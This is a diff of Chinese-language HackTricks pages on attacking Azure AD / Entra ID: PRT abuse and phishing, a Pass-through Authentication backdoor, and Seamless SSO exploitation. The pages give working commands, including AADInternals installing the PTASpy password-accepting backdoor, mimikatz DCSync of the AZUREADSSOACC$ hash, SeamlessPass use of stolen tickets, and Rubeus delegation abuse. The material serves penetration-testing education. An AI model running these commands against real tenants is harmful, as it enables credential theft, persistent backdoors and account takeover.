管理员仍然可以与 LSASS 一起工作以滥用 PRT：例如，管理员可以向 LSASS 注入代码或调用内部 CloudAP 函数以提示 LSASS 生成令牌。Dirk-jan 的研究指出，管理员可以“使用加密 API 与 LSASS 中的 PRT 密钥进行交互”。在实践中，这可能意味着使用 LSASS 自身的函数（通过 API hooking 或 RPC 等技术，如果可用）来生成 PRT cookie。另一种方法是利用会话密钥可能出现在内存中的任何窗口——例如，在 PRT 更新或设备注册时，它未加密以供使用。这类攻击复杂且具有情境性。更直接的管理员策略是滥用现有的令牌句柄或缓存：LSASS 在内存中缓存最近发放的应用程序刷新令牌（使用 DPAPI 加密）。一个决心坚定的 SYSTEM 攻击者可以尝试提取这些受 DPAPI 保护的令牌（使用用户的主密钥，管理员可以获得）以直接窃取特定应用程序的刷新令牌。然而，最简单和最通用的方法仍然是冒充和使用文档化的令牌代理接口，因为这些接口保证 Azure AD 将发放新令牌（带有所有适当的声明），而不是尝试破解加密。
## 钓鱼 PRT
利用 **OAuth 设备代码** 流程，使用 **Microsoft Authentication Broker 客户端 ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) 和 **设备注册服务 (DRS)** 资源获取 **可以在注册一个** **恶意设备** 后升级为 **主刷新令牌 (PRT)** 的 **刷新令牌**。
利用 **OAuth 设备代码** 流程，使用 **Microsoft Authentication Broker 客户端 ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) 和 **设备注册服务 (DRS)** 资源来获取 **可以在注册一个** **恶意设备** 后升级为主刷新令牌 (PRT) 的 **刷新令牌**。
### **为什么这有效**
- **PRT** 是 **设备绑定的**，并启用 **几乎所有 Entra 保护应用的 SSO**。
- **Broker 客户端 + DRS** 组合允许被钓鱼的 **刷新令牌** 在设备注册后 **兑换为 PRT**。
- **Broker 客户端 + DRS** 组合允许被钓鱼的 **刷新令牌** 在设备注册后 **交换为 PRT**。
- **MFA 不会被绕过**：**用户在钓鱼过程中执行 MFA**；**MFA 声明传播**到生成的 PRT，让攻击者在 **没有进一步提示** 的情况下访问应用。
**前提条件**：
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md
+6 -6
View File
@@ -1,10 +1,10 @@
# Az - PTA - Pass-through Authentication
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 透传身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验——记住的密码减少了一次，并且降低了 IT 帮助台的成本，因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时，此功能会直接针对您的本地 Active Directory 验证用户的密码。
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 透传身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验 - 记住的密码减少了一次，并且降低了 IT 帮助台的成本，因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时，此功能会直接针对您的本地 Active Directory 验证用户的密码。
在 PTA 中，**身份**是**同步**的，但**密码**不像 PHS 那样。
@@ -15,7 +15,7 @@
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. 为了**登录**，用户被重定向到**Azure AD**，在这里他发送**用户名**和**密码**
2. **凭据**被**加密**并放入 Azure AD 中的**队列**
2. **凭据**被**加密**并放入 Azure AD 的**队列**中
3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“透传身份验证代理”**或**PTA 代理**。
4. **代理**将凭据与**本地 AD**进行**验证**，并将**响应****返回**给 Azure AD，如果响应是积极的，**完成用户的登录**。
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
如果您对运行 **PTA** **agent** 的 **Azure AD Connect server** 拥有 **admin** 访问权限，您可以使用 **AADInternals** 模块 **插入后门**，该后门将 **验证所有输入的密码**（因此所有密码都将有效用于身份验证）：
如果您对运行 **PTA** **agent** 的 **Azure AD Connect server** 拥有 **admin** 访问权限，您可以使用 **AADInternals** 模块来 **插入后门**，该后门将 **验证所有输入的密码**（因此所有密码都将有效用于身份验证）：
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
@@ -73,7 +73,7 @@ Remove-AADIntPTASpy # Remove the backdoor
这个后门将会：
- 创建一个隐藏文件夹 `C:\PTASpy`
- 复制一个 `PTASpy.dll` 到 `C:\PTASpy`
- 复制 `PTASpy.dll` 到 `C:\PTASpy`
- 将 `PTASpy.dll` 注入到 `AzureADConnectAuthenticationAgentService` 进程中
> [!NOTE]
@@ -95,4 +95,4 @@ seamless-sso.md
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md
+13 -15
View File
@@ -1,10 +1,10 @@
# Az - Seamless SSO
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 会在用户使用连接到公司网络的公司设备时**自动登录用户**。启用后，**用户无需输入密码即可登录 Azure AD**，通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式，而无需任何额外的本地组件。
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 自动**在用户使用连接到公司网络的公司设备时登录用户**。启用后，**用户无需输入密码即可登录 Azure AD**，通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式，而无需任何额外的本地组件。
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
@@ -12,9 +12,9 @@
它支持 [**PHS (密码哈希同步)**](phs-password-hash-sync.md) 和 [**PTA (透传身份验证)**](pta-pass-through-authentication.md)。
桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时，Azure AD Connect 会在本地 AD 中创建一个名为 `AZUREADSSOACC$` 的**计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Entra ID**。
桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时，Azure AD Connect 在本地 AD 中创建一个 **名为 `AZUREADSSOACC$` 的计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Entra ID**。
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**，Entra ID 使用发送的密码来解密票证。
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**，Entra ID 使用发送的密码解密票证。
**Entra ID** 暴露一个 **端点** (https://autologon.microsoftazuread-sso.com)，接受 Kerberos **票证**。域加入机器的浏览器将票证转发到此端点以实现 SSO。
@@ -42,16 +42,16 @@ $searcher.FindOne()
为了获得该 TGS 票证，攻击者需要拥有以下之一：
- **被攻陷用户的 TGS：** 如果您在内存中攻陷了用户的会话，并获得了 `HTTP/autologon.microsoftazuread-sso.com` 的票证，您可以使用它访问云资源。
- **被攻陷用户的 TGT：** 即使您没有，但如果用户被攻陷，您可以使用许多工具中实现的假 TGT 委托技巧获取一个，例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
- **被攻陷用户的 TGT：** 即使您没有，但用户被攻陷，您也可以使用许多工具中实现的假 TGT 委托技巧获取一个，例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
- **被攻陷用户的哈希或密码：** SeamlessPass 将使用此信息与域控制器通信以生成 TGT，然后是 TGS。
- **金票：** 如果您拥有 KRBTGT 密钥，您可以为被攻击用户创建所需的 TGT。
- **AZUREADSSOACC$ 账户哈希或密码：** 使用此信息和用户的安全标识符 (SID) 进行攻击，可以创建服务票证并与云进行身份验证（如前面的方法所示）。
- **AZUREADSSOACC$ 账户哈希或密码：** 使用此信息和用户的安全标识符 (SID) 进行攻击，可以创建服务票证并在云中进行身份验证（如前面的方法所示）。
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
正如 [这篇博客文章](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 中所解释的，拥有任何先前的要求，使用工具 **SeamlessPass** 作为被攻陷用户或任何用户（如果您拥有 **`AZUREADSSOACC$`** 账户哈希或密码）访问云资源非常简单。
正如 [这篇博客文章](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 中所解释的，拥有任何先前的要求，使用工具 **SeamlessPass** 以被攻陷用户的身份或以任何用户的身份（如果您拥有 **`AZUREADSSOACC$`** 账户哈希或密码）访问云资源非常简单。
最后，使用 TGT 可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 进行：
最后，使用 TGT 可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)：
```bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
@@ -69,7 +69,7 @@ wmic useraccount get name,sid # Get the user SIDs
### 获取 AZUREADSSOACC$ 账户的哈希值
用户 **`AZUREADSSOACC$` 的 **密码** 从不改变**。因此，域管理员可以破解该 **账户的哈希值**，然后使用它 **创建银票** 以连接到 Azure，使用 **任何已同步的本地用户**：
用户 **`AZUREADSSOACC$` 的 **密码** 永远不会改变**。因此，域管理员可以破解该 **账户的哈希值**，然后使用它 **创建银票** 以连接到 Azure，使用 **任何同步的本地用户**：
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -125,17 +125,15 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
- 要继续，请按 TAB 或 ENTER。
> [!WARNING]
> 这 **不会绕过 MFA（如果启用）** 在用户中。
> 如果用户启用了 MFA，这 **不会绕过 MFA**。
### 本地 -> 云通过基于资源的受限委派 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
执行攻击需要：
执行攻击所需：
- `WriteDACL` / `GenericWrite` 在 `AZUREADSSOACC$` 上
- `WriteDACL` / `GenericWrite` 权限在 `AZUREADSSOACC$` 上
- 一个您控制的计算机帐户（哈希和密码） - 您可以创建一个
1. 第 1 步 – 添加您自己的计算机帐户
- 创建 `ATTACKBOX$` 并打印其 SID/NTLM 哈希。任何域用户都可以在 MachineAccountQuota > 0 时执行此操作。
```bash
@@ -185,4 +183,4 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}